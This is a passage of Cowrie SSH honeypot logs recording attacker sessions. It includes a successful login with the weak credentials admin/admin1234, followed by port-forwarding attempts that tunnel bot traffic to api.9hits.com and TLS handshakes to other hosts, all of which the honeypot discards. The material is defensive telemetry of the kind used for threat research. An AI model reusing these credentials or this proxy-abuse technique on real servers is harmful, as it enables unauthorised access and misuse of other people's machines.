deflate\\r\\n\\r\\n_=U1Redjd%2BUm5FQyVmVCoqMg%3D%3DboeGSM8ND1E6S4%2BuIlyAVhnZ0wrBY41ZgRpEPZ8jssuwM8RpJgZX0sBcmHIOhgWLnNVpkcAIPO9rNGZteC6OyvjPgexmjPgsXGBzWBvixny4nNjui3zrM7IfU4JLFVupGx4MFK3RKmuZnr5yyHs2ez6DF5FoJ1erO0JE61yJxzyeVVrmXfT1Exo09%2BSPTvHUk6Ao1WVOo2Lb2nur6tVqbkFPtKe%2Fz5LS%2BEVTy%2FfxgvLtRS3RDv%2F5zNUZ8qDXcd6Dn1RXd5PALc239plHdGzfRPlgMZ%2B1%2BNbJEq99%2FVypoT9dZJrxwrylyJ4hk55fkem1Wf3TND%2BDy2lcle4zPmIGkwIiHTw03q1x8g9dBBut6xrrbz1aCcLh7RTIGodSWuSopAM89zLzwTVdmr3nGOftV1KNDT2xMJuTx%2F9Q7Kc7zAH91aHNZmoZoAR6zpXsWt0g%2F3sL77N7Z6BJN%2FS8gTwN4ODhOTvhlCsmsIS9dfMZjjsW96%2F5u%2Fwt4AzhyTgMQN%2BXolwjTT6ra1sRm3BL1LkLYAww8w3RnFG6%2B6OwgoVfQoZADefrHRAcRhlTNBcpL1X%2F%2FmM2htx5gtEYmoBbrbfegcLLA8t9ZHprmCt1yG4lNb3LHV8sCFmxXUdiKwT7cQP6K8AnlXumNn%2BvbtmG5QN7ciA%2F0VGslKzOLxrXfSxQ0708CIo7opVCjlktVa%2BExPqR15YzbkMfm8l4R8IydytnoSebQQ3fE9q%2FPpXGDLay4VOSYrfPmwNOYyx8NKHqDWc%2BklGQ2mxxCL487F1kWR02s6N1oZA1yz5mFLWH%2FexONzvMHcWTNRf82M%2FK5GsukHmwGkBZsj%2FDSulm0IPztva3WZFOZkcNVUQou4k5ZlUSajsa3nlCR3nhgv%2BEDkGY%2F8uOV7WmiJ6VIgs4abYDuugaibZ5xMZhRNiQbzjOW1fBKFJLp%2FrGP0TSsP7RoDAfB0pYuuJJZP9eZCjS15W5oDt5yX2vN4G8vqX8bwZ8xzOuLP649KXX4DsUYZl%2BtQ1XNRtaYZ3C750OHHBVgvXwM3TXrcytY8qjt0K0kEjYc58UcRb%2FP%2BILp1ZskTBeCpuQLxN5'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=U1Redjd%2BUm5FQyVmVCoqMg%3D%3DboeGSM8ND1E6S4%2BuIlyAVhnZ0wrBY41ZgRpEPZ8jssuwM8RpJgZX0sBcmHIOhgWLnNVpkcAIPO9rNGZteC6OyvjPgexmjPgsXGBzWBvixny4nNjui3zrM7IfU4JLFVupGx4MFK3RKmuZnr5yyHs2ez6DF5FoJ1erO0JE61yJxzyeVVrmXfT1Exo09%2BSPTvHUk6Ao1WVOo2Lb2nur6tVqbkFPtKe%2Fz5LS%2BEVTy%2FfxgvLtRS3RDv%2F5zNUZ8qDXcd6Dn1RXd5PALc239plHdGzfRPlgMZ%2B1%2BNbJEq99%2FVypoT9dZJrxwrylyJ4hk55fkem1Wf3TND%2BDy2lcle4zPmIGkwIiHTw03q1x8g9dBBut6xrrbz1aCcLh7RTIGodSWuSopAM89zLzwTVdmr3nGOftV1KNDT2xMJuTx%2F9Q7Kc7zAH91aHNZmoZoAR6zpXsWt0g%2F3sL77N7Z6BJN%2FS8gTwN4ODhOTvhlCsmsIS9dfMZjjsW96%2F5u%2Fwt4AzhyTgMQN%2BXolwjTT6ra1sRm3BL1LkLYAww8w3RnFG6%2B6OwgoVfQoZADefrHRAcRhlTNBcpL1X%2F%2FmM2htx5gtEYmoBbrbfegcLLA8t9ZHprmCt1yG4lNb3LHV8sCFmxXUdiKwT7cQP6K8AnlXumNn%2BvbtmG5QN7ciA%2F0VGslKzOLxrXfSxQ0708CIo7opVCjlktVa%2BExPqR15YzbkMfm8l4R8IydytnoSebQQ3fE9q%2FPpXGDLay4VOSYrfPmwNOYyx8NKHqDWc%2BklGQ2mxxCL487F1kWR02s6N1oZA1yz5mFLWH%2FexONzvMHcWTNRf82M%2FK5GsukHmwGkBZsj%2FDSulm0IPztva3WZFOZkcNVUQou4k5ZlUSajsa3nlCR3nhgv%2BEDkGY%2F8uOV7WmiJ6VIgs4abYDuugaibZ5xMZhRNiQbzjOW1fBKFJLp%2FrGP0TSsP7RoDAfB0pYuuJJZP9eZCjS15W5oDt5yX2vN4G8vqX8bwZ8xzOuLP649KXX4DsUYZl%2BtQ1XNRtaYZ3C750OHHBVgvXwM3TXrcytY8qjt0K0kEjYc58UcRb%2FP%2BILp1ZskTBeCpuQLxN5'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:23.500742Z","src_ip":"23.148.145.132","session":"8aa5e79e67fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:26.418038Z","session":"f7be67cb0dd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:26.477736Z","src_ip":"23.175.50.52","session":"f7be67cb0dd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Jo\"\\x11\\x12:e\\xd7y\\x9a\\x9f\\xdd\\xc5VRK\\x81ty\\x88\\xe8!6\\x0c-\\xa9\\xe0\\xc7\\x9c+\\\\+ \\x8c\\xe1\\xbc\\x1a\\x07\\xb53U\\xeb=\\x0e\\xea\\xdf\"\\xf9-\\x04OEI\\xc9L\\x86@\\x85C\\xc6\\xa5b\\xb2\\x87/\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb2?\\xb8\\t$\\xa2\\x8eF\\xecR#_\\x97\\xff\\x06\\xcf\\x13Qx\\xc3\\x83\\xd2:\\x7f\\x7f\\xfb\\xce\\xccB\\xf1\\xf5B\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Jo\"\\x11\\x12:e\\xd7y\\x9a\\x9f\\xdd\\xc5VRK\\x81ty\\x88\\xe8!6\\x0c-\\xa9\\xe0\\xc7\\x9c+\\\\+ \\x8c\\xe1\\xbc\\x1a\\x07\\xb53U\\xeb=\\x0e\\xea\\xdf\"\\xf9-\\x04OEI\\xc9L\\x86@\\x85C\\xc6\\xa5b\\xb2\\x87/\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb2?\\xb8\\t$\\xa2\\x8eF\\xecR#_\\x97\\xff\\x06\\xcf\\x13Qx\\xc3\\x83\\xd2:\\x7f\\x7f\\xfb\\xce\\xccB\\xf1\\xf5B\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:26.481094Z","src_ip":"23.175.50.52","session":"f7be67cb0dd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:26.541176Z","session":"f7be67cb0dd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:26.598756Z","src_ip":"23.175.50.52","session":"f7be67cb0dd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd4\\xe8\\xf7\\xa1\\xc4\\x9d\\xec\\xb5`\\xb61\\xec\\x0c\\xd1$y7\\xe7\\x88\\xe6Y\\x8fe?\\x055\\xbeF\\xf1*M\\x1c Z@\\xee\\xcb\\xfb\\xbe\\xdb+\\xb99\\x96\\xfb\\xbc\\xe8\\xbf\\xc1,I\\xe7/\\xc0\\x99\\x92\\xa6\\x01\\xe4X\\xd5|\\xc3\\x92\\xf8\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe4\\x8eB\\xff\"\\xfen\\xaa\\xe3j\\xfa\\xf6Eg\\x1a\\xefq\\x06\\xd8tI\\x19\\xa9:~\\xb7A\\x16\\xe5\\xc5\\xaf>\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd4\\xe8\\xf7\\xa1\\xc4\\x9d\\xec\\xb5`\\xb61\\xec\\x0c\\xd1$y7\\xe7\\x88\\xe6Y\\x8fe?\\x055\\xbeF\\xf1*M\\x1c Z@\\xee\\xcb\\xfb\\xbe\\xdb+\\xb99\\x96\\xfb\\xbc\\xe8\\xbf\\xc1,I\\xe7/\\xc0\\x99\\x92\\xa6\\x01\\xe4X\\xd5|\\xc3\\x92\\xf8\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe4\\x8eB\\xff\"\\xfen\\xaa\\xe3j\\xfa\\xf6Eg\\x1a\\xefq\\x06\\xd8tI\\x19\\xa9:~\\xb7A\\x16\\xe5\\xc5\\xaf>\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:26.601871Z","src_ip":"23.175.50.52","session":"f7be67cb0dd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":57244,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d4e9d079a6d","protocol":"ssh","message":"New connection: 113.164.152.20:57244 (10.17.0.5:22) [session: 8d4e9d079a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:26.738018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:26.786228Z","src_ip":"113.164.152.20","session":"8d4e9d079a6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:27.056808Z","src_ip":"113.164.152.20","session":"8d4e9d079a6d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:28.296840Z","src_ip":"113.164.152.20","session":"8d4e9d079a6d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:28.680389Z","session":"8d4e9d079a6d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:28.931740Z","session":"8d4e9d079a6d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:28.949387Z","src_ip":"113.164.152.20","session":"8d4e9d079a6d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OPR/52.0.2871.99\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=aWhOaFhtOXd%2BKCRGYz5IVw%3D%3DDRyOD%2Bz4HWxSV5%2Fnr6ChxikBem%2FK2f6fcaws8vWScuZFm6cY4zD%2BKyRbXief4YN6%2FaHCU5mwM9fC3j%2BzSaBLug4cVm9B1iS3ZjJASfEiUxb5nGEsRz%2BGDBxoeCed6dRFq%2BWKHpvOZ2bUaBK4kA5Ea8MxZyb6BUzKE4k43L%2BvZGOmINlRsgZYn%2B1LjPLnp8b2lBiooIXnDKRCoSLN%2FLF2XMVAh6GWB0SgWfS0O1uTMgTD9SW70zVgMVRJ3FLLr2lqrwhnAKGtVHWoL0HFP9gadqx0T0hn1WkdWVdaBfBp5WXQn9agXmbUWfVmXoj%2BlWAW918KARwODfj9k4%2BBQFjrw6T3%2FQ6JHhT22i2gjsFviucF5E32b%2B5%2Bb0Ui%2BUDFEBsM2ohvTGTl51iGn%2Fzjdm9Qf2m8VJrNBwt1XYh1Qy522LawbsVCeJnMn41rIMNmE96frRfpJa25MOZMD47WLU2UeB9sadvwmSGLZMoqvWJ3Mz4TLH%2Fei3sdj6wTvnNK7tj5y3WlqPCe32OxTctDqERLhERo84rOpp9SX5w9%2F9z9KwXXbrXmWr2MxiIgUp7KgNB8LcQorxQ9IY%2F1IhpEOaxKIViWJl5z0nC9yPha0gS71%2BBqGHlVXvPzmuWTkbqES5Fes3MIBxatK7dm11WIB2lT5zcsOu%2FHGADDb5S4Hi%2FsxEMJMpIfF03T7kpO94vx84bbCcwrq47trxvSpkMpIYX5MP1ykWzHEnyGn3zPgbCL8nINniKK8Zw9ERIYxPzpGyFVIBLY3tccJzfwUxTei%2B6